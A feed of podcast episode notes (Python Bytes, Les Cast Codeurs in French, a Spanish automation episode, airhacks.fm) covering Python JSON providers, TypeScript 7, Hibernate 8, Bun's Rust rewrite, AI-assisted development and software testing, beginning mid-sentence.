request.get_json(), the test client, the |tojson filter - behind one provider object at app.json. So there's no library to install. It's about ten lines: import orjson from quart.json.provider import JSONProvider # or flask.json.provider class OrjsonProvider(JSONProvider): def dumps(self, obj, **kwargs) -> str: return orjson.dumps(obj).decode() # provider must return str def loads(self, s, **kwargs): return orjson.loads(s) app.json = OrjsonProvider(app) The numbers on talkpython.fm Evaluated it, measured it, and skipped it. The biggest JSON payload we serve is our MCP server returning a cached episode transcript, about 139 KB. Swapping the provider saves 0.119 milliseconds per request. That total response takes 1.1 ms We got 4.1x, not 10x - and the reason is the good lesson. Payload shape decides your speedup. The 10x is for structure-heavy data, lots of small keys where stdlib burns time in Python-level dispatch per item. Our hot payload is one giant transcript string, so the work is escaping and memcpy Calvin #2: Best Django Redis configuration for speed and size Peter Bengtsson revisits a classic: his 2017 "Fastest Redis configuration for Django" benchmark now has a 2026 update posted this week. The 2017 post pitted django-redis serializers (json, ujson, msgpack, pickle) and compressors (zlib, lzma) against each other; conclusion was msgpack + zlib as the sweet spot - avoid the json serializer, it's fat and slow. The 2026 update narrows focus to just compressors: default (no compression), zlib, lzma, and newcomer zstd. New results: lzma compresses best but is slowest; zstd is the fastest compressor on Ubuntu; differences between them are very small. Big takeaway across both: compression buys you a lot of space (2–3.5x smaller) for very little speed cost - worth it for Redis where memory is the constraint. Caveat from the author: results depend heavily on your data - his test stores short strings of numbers, so benchmark your own workload. Michael #3: Linus Torvalds puts the foot down against Anti-AI Kernel Maintainers Write up on Ars. Really good coverage by Maximillian: Time to wake up (for some) Torvalds said that “Linux is not one of those anti-AI projects, and if somebody has issues with that, they can do the open-source thing and fork it. Or just walk away.” I agree with Max, putting your head in the sand and waiting for AI to go away will likely mean you won't be working professionally in software development in the coming years. The statement came amid a lengthy thread arguing about the use of Sashiko, an “agentic Linux kernel code review system” that its creators claim can, in tests, independently find 53.6 percent of the bugs that would end up being fixed by human coders in later commits. “We're not forcing anybody to use [LLM tools], but I will very loudly ignore people who try to argue against other people from using it,” Torvalds said. “Anybody who points to the problems at AI had better be looking in the mirror and pointing at themselves at the same time,” Torvalds wrote. Calvin #4: Django Steering Council backs the Triptych Project Django Steering Council issued a Letter of Collaboration backing Carson Gross & Alex Petros's funding bid for the Triptych Project - three proposals to make HTML more expressive natively, in every browser. The three additions: PUT/PATCH/DELETE methods for forms, button actions (buttons that fire HTTP requests without a wrapping form), and partial page replacement. Distills the core ideas from HTMX/Unpoly/Turbo into the HTML standard itself - no JS, no library, nothing to ship or maintain. Current focus is button actions (WHATWG #12330): Logout instead of wrapping a button in a form. Relevant to Django directly - think the admin submit row and disguised delete links; Django 6.0's template partials were already inspired by these patterns. How to help: companies can send non-binding letters of support on letterhead; individuals can read the proposals and weigh in on the WHATWG issues. Extras Calvin: DOOMQL - A playable first-person shooter whose framebuffer is a SQL query. Michael: Granian 2.7.9 fixes WSGI threadpool scheduler starvation/underscaling Welcome Calvin post Joke: Solving all bugs
Bun quitte Zig pour Rust en 11 jours à coups de Claude Code, pour 165 000$ payés par Anthropic : la réaction du créateur de Zig ne se fait pas attendre. TypeScript 7 débarque, réécrit en Go, 8 à 12x plus rapide. Entre les deux, Vidocq réimplémente Jakarta EE en souverain, le COBOL met un uppercut aux microservices, et un CTO demande à son équipe combien de temps il lui faudrait pour revenir à sa vélocité antérieure sans Claude Code. De quoi réfléchir avant le prochain rewrite. Enregistré le 17 juillet 2026 Téléchargement de l'épisode LesCastCodeurs-Episode-342.mp3 ou en vidéo sur YouTube. News Langages Est-ce qu'on peut aussi utiliser des double, des longs, ou autre pour gérer les montants monétaires en Java ? https://blog.frankel.ch/bigdecimal-vs-double/ double (IEEE 754) Usage : Calculs scientifiques, métriques, statistiques. Avantages : Très performant (matériel), idéal pour l'approximatif. Risques : Erreurs d'accumulation, égalité (==) trompeuse, NaN / -0.0. Bonnes pratiques : Utiliser une tolérance (epsilon ou ULP) pour comparer ; utiliser des algorithmes de sommation compensée (Kahan/Neumaier) pour la précision. BigDecimal Usage : Finance, comptabilité, fiscalité (précision décimale stricte). Avantages : Contrôle total des arrondis et de l'échelle. Risques : Lent (allocations), immutabilité (risque de mauvaise réaffectation), confusion equals() vs compareTo(). Bonnes pratiques : Initialiser via String ou valueOf() ; utiliser compareTo pour l'égalité. Point fixe (long) Usage : Trading, systèmes haute performance, paiements. Avantages : Très rapide, déterministe, zéro allocation. Risques : Gestion manuelle de l'échelle et des débordements (Math.addExact). Points de vigilance en production Sérialisation (JSON) : Préférer les String pour BigDecimal pour éviter la perte d'échelle. Atomicité : double n'est pas atomique ; utiliser volatile ou DoubleAdder (pour les compteurs). Tests : Toujours définir un delta ou Offset pour les tests de flottants. Bibliothèques recommandées Moneta (JSR 354) : Standard bancaire complet. decimal4j : Optimisé pour le point fixe haute performance. Apache Commons Numbers : Outils robustes pour la précision et les sommations. Typescript 7 est de sortie devblogs.microsoft.com/typescript/announcing-typescript-7-0 Performance majeure : Portage natif en Go offrant des gains de vitesse de 8x à 12x et une consommation mémoire réduite. Architecture optimisée : Utilisation du multithreading (mémoire partagée) et parallélisation native (analyse, vérification de types,émission). Nouvelles options de contrôle : Introduction des flags –checkers, –builders (parallélisation) et –singleThreaded (mode mono-cœur). Nouvel observateur de fichiers : Passage à une solution basée sur @parcel/watcher pour une meilleure réactivité et stabilité du mode –watch. Compatibilité et transition : Compatible avec les bases de code TypeScript 6.0. Utilisation du package @typescript/typescript6 recommandée pour maintenir des outils dépendants de l'ancienne API. Changements de configuration : Durcissement des défauts (ex: strict activé par défaut) et suppression de nombreuses options obsolètes (target: es5, baseUrl, etc.). Amélioration de l'expérience éditeur : Serveur de langage (LSP) plus stable avec une réduction de 80 % des erreurs et 60 % des crashs. Limitations actuelles : Support incomplet pour les frameworks utilisant des plugins de langage (Vue, Svelte, Astro, Angular) en attendant une API stable. "Java, the documentary" est sur YouTube, retraçant l'histoire du langage youtube.com/watch?v=… La vidéo n'était pas encore disponible à l'heure de l'enregistrement. Sortie officielle le 17 juillet. Avec des interviews de James Gosling, Brian Goetz, Venkat Subramaniam, et bien d'autres. Librairies What's New in 8.0 - Hibernate docs.hibernate.org/orm/8.0/whats-new L'intégration de Jakarta Persistence 4.0 apporte des nouveautés majeures comme EntityAgent (qui standardise la StatelessSession), les mappings de result set en SQL natif, et de nouvelles options de configuration de session et de requêtes (Session Creation Options, Query Options). Le support de Jakarta Data 1.1 est ajouté pour les Hibernate Data Repositories, incluant l'intégration avec les requêtes statiques JPA4, les projections @Select, et les repositories asynchrones via Jakarta Concurrency ou Hibernate Reactive. L'introduction du Graph-based Flushing remplace l'ancienne approche basée sur des heuristiques par un modèle de dépendances utilisant les contraintes relationnelles, afin d'améliorer la fiabilité des tris, la gestion des batchs et les performances globales (bien que l'ancienne méthode reste temporairement disponible). L'API ProcedureCall a été améliorée pour faciliter le casting des résultats (asResultSetOutput) et permettre la déclaration paresseuse (lazy) du mapping des ResultSet. Hibernate supporte désormais la sécurité au niveau de la ligne (Row-Level Security) de manière native pour les bases de données compatibles (PostgreSQL, Db2, SQL Server, CockroachDB) afin de gérer la visibilité en contexte multi-tenant. Une nouvelle méthode getReference() permet dorénavant de récupérer la référence d'une entité directement à partir de son natural id. Le mode Safe Mode Validator (hibernate.query.safe_mode_enabled=true) fait son apparition pour bloquer les opérations risquées comme sql(), function() ou column() dans les requêtes HQL et Criteria, ce qui est particulièrement utile pour les applications exposées aux LLMs. La gestion des associations bidirectionnelles lors de la phase de flush peut maintenant être prise en charge automatiquement par Hibernate (hibernate.bidirectionality_management=true), synchronisant la référence côté inverse de l'association. Le Subselect Fetching est considérablement amélioré, supportant dorénavant les associations "to-one" pour le bulk select fetching (au lieu de se limiter aux collections) et devenant une option de premier ordre via FetchMethod.BY_SUBQUERY. Un des papas de Cucumber et Gherkin lance Var, une alternative pour le test et le BDD var.oselvar.com Lancement de Vár : Nouvel outil de test créé pour pallier les défauts de Cucumber. Limites de Cucumber : Syntaxe Gherkin trop rigide, intégration difficile avec les exécuteurs de tests et support éditeur limité. Usage avec l'IA : Conçu spécifiquement pour vérifier que les agents IA respectent les intentions et spécifications de l'utilisateur. Fonctionnement : Utilisation du Markdown plutôt que du Gherkin ; sert à la fois de guide et d'outil de vérification. Développement assisté : Code et documentation générés en grande partie par Claude sous supervision humaine. Appel aux retours : Projet ouvert aux tests et aux critiques de la communauté. Web Une nouvelle méthode HTTP : QUERY https://kreya.app/blog/new-http-query-method-explained/ Méthode HTTP QUERY (RFC 10008) pour les recherches complexes. Problème : GET (limité par l'URL) vs POST (sémantique inadaptée). Avantages : Permet un corps de requête, sûr, idempotent et cacheable. Limites : Support infrastructurel faible, non partageable par lien, cache complexe. Usage : À réserver aux requêtes complexes si l'environnement le permet. Comment je fais du design en tant que dev backend eventuallycoding.com/p/comment-je-fais-du-design-en-tant-que-dev-backend Hugo Lassiège retrace l'évolution de son workflow de création d'interfaces en tant que développeur backend, depuis ses débuts avec Bootstrap jusqu'à l'ère de l'intelligence artificielle. L'article explique comment la structuration des éléments visuels a progressé grâce à l'Atomic Design, l'émergence des design systems et l'adoption des design tokens via un framework comme Tailwind. L'auteur détaille son processus actuel qui s'appuie fortement sur Claude Design pour générer et itérer sur des maquettes à partir d'un brief, d'un screenshot ou d'un design system de référence. Il aborde également le risque de slopification et de standardisation extrême apporté par ces outils, rappelant que si l'IA simplifie la technique, il reste crucial d'injecter de l'identité et de l'originalité pour éviter un web trop aseptisé. Data et Intelligence Artificielle De l'utilisation de SKILL.md et de "loop engineering" pour augmenter sa productivité glaforge.dev/posts/…/of-skills-and-loops-with-ai-assistance Les skills permettent d'encoder une procédure de manière répétable et automatisable Le loop engineering enlève l'humain de la boucle afin que l'agent atteigne un objectif donné de façon plus autonome Pour écrire des Codelabs (sorte de tutoriel guidé pas à pas) Guillaume a transformé une séance de création de codelab avec son agent préféré (Antigravity) en skill réutilisable pour l'écriture de ses prochains codelabs Il a également utilisé l'approche de "loop engineering" à la mode en ce moment pour que son agent IA compile, exécute, teste les instructions et le code de son codelab, pour qu'il soit complètement fonctionnel Gain estimé : passer de 2 jours de travail à moins de 2 heures ! Redeploying Claude Fable 5 anthropic.com/news/redeploying-fable-5 Anthropic a annoncé le rétablissement de l'accès à ses modèles Claude Fable 5 et Mythos 5, qui avaient été suspendus suite à des restrictions d'exportation imposées par le gouvernement américain le 12 juin 2026. Cette suspension faisait suite à un rapport d'Amazon démontrant une méthode pour contourner les garde-fous de Fable 5, lui permettant d'identifier et d'exploiter une vulnérabilité logicielle (un jailbreak). Pour y remédier, Anthropic a renforcé ses mécanismes de sécurité en déployant un nouveau classifieur capable de bloquer cette technique spécifique dans plus de 99 % des cas, acceptant en contrepartie une augmentation des faux positifs sur des requêtes bénignes. Face à l'absence de consensus sur l'évaluation des jailbreaks, Anthropic s'associe à Amazon, Microsoft, Google et d'autres partenaires pour développer un standard industriel évaluant la sévérité de ces failles selon quatre critères : gain de capacité, étendue du gain, facilité d'arsenalisation et découvrabilité. L'entreprise s'engage également à approfondir sa collaboration avec le gouvernement américain, notamment via des évaluations pré-déploiement, un partage rapide d'informations sur les failles, et des ressources dédiées à la recherche conjointe sur la sécurité de l'IA. Outillage La réécriture de Bun en Rust et la réaction du créateur de Zig bun.com/blog/bun-in-rust et andrewkelley.me/post/my-thoughts-bun-rust-rewrite.html Bun, le runtime JavaScript et TypeScript écrit à l'origine en Zig, a été entièrement réécrit en Rust pour des raisons de stabilité et de gestion de la mémoire. Cette migration massive d'un demi-million de lignes de code a été bouclée en seulement 11 jours grâce à l'utilisation intensive de Claude Code fonctionnant en parallèle, pour un coût d'API estimé à 165 000 dollars financé par Anthropic. Andrew Kelley, le créateur de Zig, a réagi publiquement en qualifiant l'ancienne base de code de Bun de "slop" remplie de hacks et de fuites mémoire accumulées par une course aux fonctionnalités. Kelley exprime son soulagement face à ce départ, expliquant que les plantages incessants de Bun devenaient un passif réputationnel toxique pour le langage Zig et sa fondation. Le rachat de Bun par Anthropic fin 2025 avait déjà mis fin aux donations financières de Bun envers la Zig Software Foundation, facilitant cette séparation. La nouvelle version Rust de Bun passe désormais la quasi-totalité des tests, réduit la taille du binaire et est déjà déployée de manière transparente en production dans Claude Code. Nouveautés de Git 2.55 github.blog/open-source/git/highlights-from-git-2-55 Support natif de FSMonitor sous Linux via inotify pour accélérer les commandes comme git status sur les grands dépôts Intégration de la compaction incrémentale MIDX (multi-pack index) dans git repack pour optimiser la réécriture des métadonnées Amélioration drastique des performances de génération des bitmaps et des pseudo-merge bitmaps lors des tâches de maintenance Nouvelle commande expérimentale git history fixup pour intégrer facilement des modifications locales dans un commit antérieur Possibilité d'exécuter des hooks configurés en parallèle pour optimiser le temps de build et de validation Utilisation d'un autostash automatique lors d'un git checkout -m en cas de conflit de fusion pour éviter de bloquer l'espace de travail Nouvelle commande git format-rev permettant de formater rapidement des commits reçus via l'entrée standard (stdin) Support du push simultané vers un groupe de remotes configuré Protection contre l'exécution de séquences de contrôle de terminal malveillantes via les flux de progression distants Vidocq, une réimplémentation souveraine et sans dépendance de Jakarta EE et Microprofile vidocq.dev/posts/vidocq-a-sovereign-jakarta-ee-and-microprofile-runtime Lancement de Vidocq : Runtime Java open source complet, compatible Jakarta EE Core Profile et Souveraineté numérique : Projet européen hébergé sur Codeberg, sous licences EUPL 1.2, EPL 2 et GPL 2.0. Standardisation totale : Implémentation fidèle des spécifications (CDI, REST, JSON, etc.), validée par 5 650 tests TCK officiels. Sécurité radicale : Zéro dépendance externe et aucune bibliothèque tierce. Aucune manipulation de bytecode à l'exécution (« magie » générée à la compilation via JDK 25). Compatible JPMS, AOT, GraalVM et Leyden CDS. Disponibilité : Projet en phase alpha, code et documentation accessibles sur vidocq.dev. Article complémentaire qui revient sur la genèse de Vidocq, en utilisant l'IA et les TCKs pour driver l'aspect spec-driven development vidocq.dev/posts/the-story-of-vidocq Le "selfware" : Guillaume s'est fait plais' en vibe-codant son propre éditeur de texte glaforge.dev/posts/…/selfware-building-my-own-text-editor-without-knowing-swift Concept de « Selfware » : création de logiciels conçus exclusivement pour soi-même, sans monétisation ni contraintes liées aux utilisateurs tiers. Le rôle de l'IA : les agents de programmation (comme Antigravity) suppriment la barrière technique de l'apprentissage des langages (Swift, APIs) pour les non-développeurs. Développement minimaliste : privilégier la performance et l'utilité directe (démarrage instantané, interface native) au détriment des fonctionnalités complexes (plugins, télémétrie, gestion de comptes). Absence de pression : libération des contraintes liées à la compatibilité, à la maintenance logicielle et aux retours utilisateurs ; le logiciel n'a besoin d'être « assez bon » que pour ses propres besoins. Incitation à l'autonomie : encourager la création d'outils sur mesure pour résoudre les frictions quotidiennes plutôt que de subir les limitations des logiciels commerciaux. Architecture Le cobol a donné un uppercut au microservices https://freedium-mirror.cfd/@maahisoft20/your-microservices-lost-to-cobol-let-that-sink-in-8ce2e236d007 Retour d'expérience sur la migration d'un système COBOL vers des microservices cloud-native qui s'est soldée par un retour en arrière après avoir constaté que le traitement batch initial était plus rapide, moins cher et plus fiable Là où le batch COBOL traitait 2.4 millions d'enregistrements en 11 minutes, le système distribué modernisé à base de message queues, retries et Kubernetes prenait 47 minutes et tombait sous la charge COBOL brille par ses caractéristiques conçues spécifiquement pour la finance comme le calcul décimal précis sans floating point errors et l'absence totale d'overhead réseau, de conteneurs ou de cold starts Rappel que distribuer un système multiplie les points de défaillance silencieux et complexifie la gestion de la cohérence transactionnelle par rapport à une exécution locale séquentielle Une invitation à se demander si les projets de décomposition en microservices apportent réellement un gain de performance de bout en bout pour l'utilisateur final ou s'ils optimisent seulement le diagramme d'architecture Méthodologies Ma meilleure question d'entretien Spring beaufume.fr/articles/spring-interview Florian beaufumé partage sa question d'entretien favorite pour évaluer des développeurs Spring de niveau intermédiaire à avancé : "Que pouvez-vous me dire sur le paramètre spring.jpa.open-in-view ?". Ce paramètre détermine l'activation du pattern Open Session In View (OSIV) qui, lorsqu'il est à true (la valeur par défaut dans Spring Boot), maintient l'un EntityManager JPA ouvert durant toute la requête HTTP. Si l'OSIV facilite le développement en évitant les fameuses LazyInitializationException lors de la sérialisation des entités en JSON, il pose d'importants problèmes de performance en provoquant des requêtes SQL non maîtrisées (comme le problème du N+1 select) en dehors de la couche service. Maintenir l'OSIV actif augmente également le temps de rétention des connexions au sein du pool de la base de données, limitant la scalabilité de l'application. La recommandation est de désactiver ce comportement en le positionnant à false, et de gérer explicitement le chargement des données requises au sein des transactions (via des DTOs, des requêtes JOIN FETCH ou des Entity Graphs) pour garder le contrôle sur les accès à la base de données. 10 points à retenir du rapport AI Engineering 2026 : The Acceleration Whiplash faros.ai/blog/ai-acceleration-whiplash-takeaways L'IA a franchi un cap et est devenue l'auteur principal du code : le taux d'acceptation du code généré est passé de 20% à 60% dans les équipes étudiées par Faros AI. La vélocité métier est bien réelle, avec une augmentation de 66% des epics livrées et une hausse de 33,7% du throughput des tâches par développeur. Ce volume cache un code churn massif (+861%), ce qui signifie qu'une quantité énorme de code est supprimée ou remplacée peu après avoir été ajoutée. La qualité en aval se dégrade fortement : les bugs par développeur ont augmenté de 54% et le nombre d'incidents par pull request a explosé de 242,7%. Le processus de code review est complètement saturé, entraînant un temps médian de relecture multiplié par cinq et une augmentation de 31,3% des PRs mergées sans aucune revue. Le système repose de plus en plus sur les développeurs seniors qui subissent une "senior engineer tax", devant relire un volume insoutenable de code à l'apparence correcte mais structurellement fragile. Contrairement à certaines hypothèses récentes de DORA, une forte maturité DevOps ne protège pas les entreprises contre cette détérioration ; le "Acceleration Whiplash" frappe de la même manière les équipes très performantes. En résumé, les outils d'IA inondent les pipelines de livraison avec un volume de code pensé pour un rythme machine, alors que les systèmes de vérification reposent toujours sur un rythme de validation humain. Loi, société et organisation Le coût d'une equipe d'engineering qui ne sait plus ce qu'elle fait dans un contexte d'augmentation de coût des coding agents https://freedium-mirror.cfd/@developer_programmer/i-spent-47-000-on-claude-code-in-90-[…]-asked-me-one-question-and-i-couldnt-answer-it-af3b203f81bb Une équipe de 8 ingénieurs a vu sa vélocité de développement exploser en utilisant Claude Code de manière intensive, jusqu'à recevoir une facture d'API salée de 47 213 $ pour seulement trois mois d'utilisation. Face à cette dépense, la question piège du CTO n'était pas sur le montant, mais sur la dépendance : "Si nous arrêtions Claude Code demain, combien de temps faudrait-il pour que notre vélocité revienne à son niveau initial ?". L'auteur s'est rendu compte qu'il était incapable de répondre car son équipe, en particulier les profils juniors, avait commencé à perdre l'habitude de concevoir et d'implémenter des fonctionnalités complexes sans l'aide permanente d'un agent. Le deuxième risque stratégique soulevé est celui de la dépendance tarifaire et du vendor lock-in : si l'outil devient une infrastructure indispensable au quotidien, l'entreprise perd tout pouvoir de négociation face aux augmentations de prix de l'éditeur d'IA. Pour éviter que l'IA ne devienne une béquille qui atrophie les compétences de l'équipe, l'article suggère de poser des limites budgétaires strictes, d'organiser régulièrement des sprints sans IA ("AI-free sprints") et de concevoir des processus de développement portables. Retour de Nicolas Delsaux sur jqwik qui donne une perspective plus complète concernant jqwik, il me semble que vous oubliez (comme tous les gens qui parlent de LLM dans "l'industrie") que l'auteur n'a pas fait ça juste pour faire chier le monde, mais parce que ces outils ont des externalités incroyablement négatives, ce dont l'auteur s'explique dans son blog (blog.johanneslink.net/2026/06/09/the-jqwik-anti-ai-affair) Vous oubliez également de signaler que le ticket (github.com/jqwik-team/jqwik/issues/708) par lequel un utilisateur se plaint de cette fonctionnalité a été écrit par un agent. N'oubliez pas non plus que l'enthousiasme pour ces technologies n'est en fait pas universel, et que ces technologies sont loin d'être inévitables (les gains de vitesse ne sont, d'après circle CI - circleci.com/resources/2026-state-of-software-delivery, pas des gains de productivité ) OkHttp, Okio, Retrofit et SQLDelight rejoignent Commonhaus ! commonhaus.org/activity/315.html La fondation Commonhaus, via une publication de Andres Almiray, annonce l'arrivée de quatre projets majeurs de l'écosystème Java et Kotlin : OkHttp, Okio, Retrofit et SQLDelight. Ces projets, initialement créés chez Square (devenu Block), sont désormais regroupés et gérés sous la bannière lysine.dev au sein de la fondation. Jesse Wilson et Jake Wharton, créateurs et mainteneurs historiques de ces outils, rejoignent Commonhaus en tant que leaders de lysine.dev. Suite à leur départ de Block, ils expliquent avoir choisi Commonhaus pour offrir à leur immense communauté d'utilisateurs un cadre de gouvernance pérenne, stable et digne de confiance. Conférences La liste des conférences provenant de Developers Conferences Agenda/List par Aurélie Vache et contributeurs : 28-30 août 2026 : State of the Map - Champs-sur-Marne (France) 4 septembre 2026 : JUG Summer Camp 2026 - La Rochelle (France) 10-11 septembre 2026 : Nantes Craft - Nantes (France) 17 septembre 2026 : dotAI - Paris (France) 17-18 septembre 2026 : API Platform Conference 2026 - Lille (France) 18 septembre 2026 : WordCamp Bretagne - Rennes (France) 18 septembre 2026 : dotJS - Paris (France) 18 septembre 2026 : WordCamp Bretagne - Rennes (France) 22 septembre 2026 : Salon Data 2026 - Nantes (France) 22-23 septembre 2026 : Agile en Seine & IA 2026 - Paris (France) 24 septembre 2026 : aMP Day Montpellier 2026 - Montpellier (France) 24 septembre 2026 : OWASP AppSec Days France 2026 - Paris (France) 24 septembre 2026 : PlatformCon Paris - Paris (France) 24 septembre 2026 : React Native Connection 2026 - Paris (France) 24-26 septembre 2026 : Paris Web 2026 - Paris (France) 25 septembre 2026 : SAP Inside Track Paris 2026 - Paris (France) 28-29 septembre 2026 : 4th Tech Summit on AI & Robotics - Paris (France) & Online 1 octobre 2026 : WAX 2026 - Marseille (France) 1-2 octobre 2026 : Volcamp - Clermont-Ferrand (France) 2 octobre 2026 : DevFest Perros-Guirec 2026 - Perros-Guirec (France) 5-9 octobre 2026 : Devoxx Belgium - Antwerp (Belgium) 8-9 octobre 2026 : Forum PHP 2026 - Marne-la-Vallée (France) 12 octobre 2026 : Dev With AI - Paris (France) 22-23 octobre 2026 : Agile Tour Bordeaux 2026 - Bordeaux (France) 26 octobre 2026 : Agile Tour Montpellier - Montpellier (France) 27-29 octobre 2026 : Directions EMEA 2026 - Paris (France) 29-30 octobre 2026 : Campus Agile Grenoble - Grenoble (France) 29-30 octobre 2026 : BDX I/O 2026 - Bordeaux (France) 29-30 octobre 2026 : Agile Tour Nantais 2026 - Nantes (France) 29 octobre 2026-1 novembre 2026 : Pycon FR - Biarritz (France) 30 octobre 2026 : Cloud Nord 2026 - Lille (France) 4-5 novembre 2026 : Devoxx Morocco - Casablanca (Morocco) 14-15 novembre 2026 : Capitole du Libre - Toulouse (France) 19 novembre 2026 : DevFest Toulouse 2026 - Toulouse (France) 19 novembre 2026 : Agile Laval 2026 - Laval (France) 19 novembre 2026 : OVHcloud Summit - Paris (France) 19 novembre 2026 : Codeurs en Seine - Rouen (France) 27 novembre 2026 : DevFest Paris 2026 - Paris (France) 1-3 décembre 2026 : Apidays Paris - Paris (France) 2-3 décembre 2026 : Cloud Native AI Summit Europe - Paris (France) 4 décembre 2026 : DevFest Lyon 2026 - Lyon (France) 4 décembre 2026 : DevFest Dijon 2026 - Dijon (France) 9-10 décembre 2026 : OpenSource Expérience - Paris (France) 9-10 décembre 2026 : DevOps REX - Paris (France) 10 décembre 2026 : KCD Provence - Aix-en-Provence (France) 10 décembre 2026 : DevCon 28 : sécurité | post-quantique | hacking édition 2027 - Paris (France) 14-16 janvier 2027 : SnowCamp 2027 - Grenoble (France) 7-9 avril 2027 : Devoxx France 2027 - Paris (France) 3 juin 2027 : Cloud Native Days France 2027 - Paris (France) Nous contacter Pour réagir à cet épisode, venez discuter sur le groupe Google https://groups.google.com/group/lescastcodeurs Contactez-nous via X/twitter https://twitter.com/lescastcodeurs ou Bluesky https://bsky.app/profile/lescastcodeurs.com Faire un crowdcast ou une crowdquestion Soutenez Les Cast Codeurs sur Patreon https://www.patreon.com/LesCastCodeurs Tous les épisodes et toutes les infos sur https://lescastcodeurs.com/
¿Cansado de perder 15 minutos cada mañana revisando el tiempo, las noticias, las ofertas y el estado de tu servidor? En este episodio te muestro cómo automatizar todo ese proceso con un script en Python, un timer de systemd y un modelo de lenguaje local. Sin n8n, sin agentes, sin servicios externos de pago.Mucha gente piensa que para automatizar cualquier cosa necesitas un agente con montones de herramientas MCP, skills y configuración. Pero la realidad es que para muchas tareas cotidianas, un agente es como usar un lanzamisiles para matar una mosca. Consume demasiado contexto, demasiados recursos y al final no es la solución más eficiente.En este episodio te presento el patrón de las tres capas: un script que hace el trabajo, un timer que lo ejecuta a una hora determinada y un sistema de notificaciones que te envía el resultado. Con esto puedes automatizar cualquier cosa de forma sencilla, eficiente y completamente bajo tu control.Te explico cómo he creado el nightly-runner, un script en Python que cada madrugada recopila información de cuatro fuentes distintas. Primero consulta el tiempo en wttr.in, que te devuelve un JSON con la temperatura, el viento, la humedad y los rayos ultravioleta. Luego hace scraping con IA de tus fuentes de noticias favoritas, extrayendo titulares y valorando su relevancia. Después busca ofertas de zapatillas de running en varias tiendas, comparando los precios con los del día anterior. Y por último recoge información del sistema con df, free, uptime y ps aux para saber si tu disco se está llenando o te estás quedando sin RAM.Toda esa información se guarda en archivos JSON y luego se pasa por un modelo de lenguaje local, Llama 3.2 con Ollama, que genera un resumen en lenguaje natural. El resultado es un mensaje de Telegram con un tono cercano que te da los buenos días, te cuenta el tiempo que va a hacer, te destaca las noticias importantes, te avisa si hay una oferta que no puedes dejar pasar y te informa del estado de tu servidor. Todo en un solo mensaje.El timer de systemd con Persistent=true se asegura de que si tu equipo estaba apagado a las 4 de la mañana, el script se ejecute en cuanto se encienda. Y cada capa es tolerante a fallos: si wttr.in está caído, el script simplemente omite el tiempo y el resumen dice que no hay información meteorológica disponible. Si no hay ofertas nuevas, no las menciona. Si Ollama no responde, envía el resumen sin procesar.Lo mejor de todo es que no necesitas saber Python para montar esto. Puedes usar Open Code o Gemini para que te genere el script con solo explicarle lo que quieres. Y para ejecutarlo, Llama 3.2 en local es más que suficiente. Sin gastar un euro en APIs.Capítulos:0:00 - Crítica a los agentes como solución universal2:00 - El problema: 15 minutos perdidos cada mañana4:00 - La solución: tres capas (script, timer, notificación)5:30 - wttr.in: el tiempo en JSON con un curl7:30 - Noticias: scraping con IA para extraer titulares9:30 - Zapatillas: comparativa de precios contra caché11:00 - Sistema: df, free, uptime y ps aux13:00 - El resumen: todos los JSONs pasan por Llama 3.216:00 - Systemd timer con Persistent=true18:00 - Notificaciones a Telegram y notify-send20:00 - Tolerancia a fallos en cada capa21:30 - Genera el script con IA aunque no sepas Python23:00 - Comparación con Hermes: menos es másEste podcast pertenece a la red de Sospechosos Habituales. Más información en atareao.esMás información y enlaces en las notas del episodio
An airhacks.fm conversation with Stanislav Bashkyrtsev about: discussion about testing terminology and the difference between unit tests, component tests, System Tests, and integration tests, defining component tests as in-process invocations without HTTP, using RestAssured with MockMvc-style direct endpoint calls, avoiding mocks in favor of real system tests, why code coverage is a misused management metric, the anti-pattern of using reflection to inflate coverage, distinguishing line and branch coverage from actual verification, using coverage from system tests to detect dead code for pruning, mutation testing with PIT to measure assertion quality, testing Quarkus applications, the default Guice and Guava dependencies in Quarkus RESTEasy, starting a new microservice with a separate system-test module, calling endpoints over HTTP with the MicroProfile REST Client or the Java HTTP client, deploying Quarkus on AWS Lambda as a production-like environment, backward compatibility testing with multiple production versions, turning system tests into stress and load tests, testing connection pools and metrics under load, introducing a test-only private API to verify state changes in serverless systems, contract-driven work in large consulting projects, generating JSON and JSONB directly in PostgreSQL and returning it over JDBC, mapping database rows to Java records instead of DTOs, running GraalVM inside the Oracle Database for stored procedures and table triggers, the pendulum between database-centric and application-centric logic, the convergence of SQL and NoSQL databases, CI/CD pipelines with Jenkins and manual production deployment steps, avoiding Jenkins access to production via CGI shell scripts behind nginx, AWS CodePipeline and CodeBuild with CDK-defined infrastructure, event-driven pipelines triggered by S3 put-object events, multi-account roles with short-lived STS credentials, the size of the AWS SDK and reducing it by excluding unused HTTP clients, health checks and Kubernetes liveness and readiness probes, why health checks make little sense for short-lived Lambdas, a version endpoint for deployment smoke tests Stanislav Bashkyrtsev on twitter: @sbashkirtsev
Topics covered in this episode: The trusted-publishing debate: how to do it right vs. why you shouldn't trust it JupyterLab 4.6 and Notebook 7.6 are out! Tau – new small, readable terminal coding agent Django Tasks and Django 6.1 Extras Joke Watch on YouTube About the show Sponsored by us! Support our work through: Our courses at Talk Python Consulting from Six Feet Up Connect with the hosts Michael: Mastodon / BlueSky / X / LinkedIn Calvin: Mastodon / BlueSky / X / LinkedIn Show: Mastodon / BlueSky / X Join us on YouTube at pythonbytes.fm/live to be part of the audience. Usually Tuesday at 7am PT. Older video versions available there too. Finally, if you want an artisanal, hand-crafted digest of every week of the show notes in email form? Add your name and email to our friends of the show list, we'll never share it. Calvin #1: The trusted-publishing debate: how to do it right vs. why you shouldn't trust it https://snarky.ca/how-to-publish-to-pypi-using-github-actions-securely/ (Brett Cannon) and https://blog.yossarian.net/2026/07/07/You-shouldnt-trust-trusted-publishing (William Woodruff) Trusted Publishing (PyPI's OIDC-based auth scheme, also now used by npm, RubyGems, crates.io, NuGet) replaces long-lived API tokens with short-lived, auto-scoped credentials tied to CI/CD machine identity. Yossarian's post: it's purely an authentication mechanism between a machine identity and a package — it says nothing about package safety or quality. PyPI deliberately avoids any "verified/trusted" badge for it, unlike its verified-URL checkmarks. Same logic applies to PyPI attestations: anyone can sign with any machine identity they control, so an attestation's presence isn't itself a trust signal. Bottom line from that post: don't confuse "trusted" (machine-to-machine) with "trustworthy" (human judgment about the package). Snarky.ca's companion piece is more practical: given GitHub Actions compromises in the news, the real fix is 3 concrete steps — run zizmor to lock down workflow permissions/checkout credentials and pin actions to commit hashes, adopt Trusted Publishing to eliminate stored PyPI tokens, and require manual approval via a GitHub environment before any publish job runs. Takeaway for listeners: Trusted Publishing is good hygiene for how you authenticate to PyPI, but it's not a substitute for securing your CI pipeline itself — 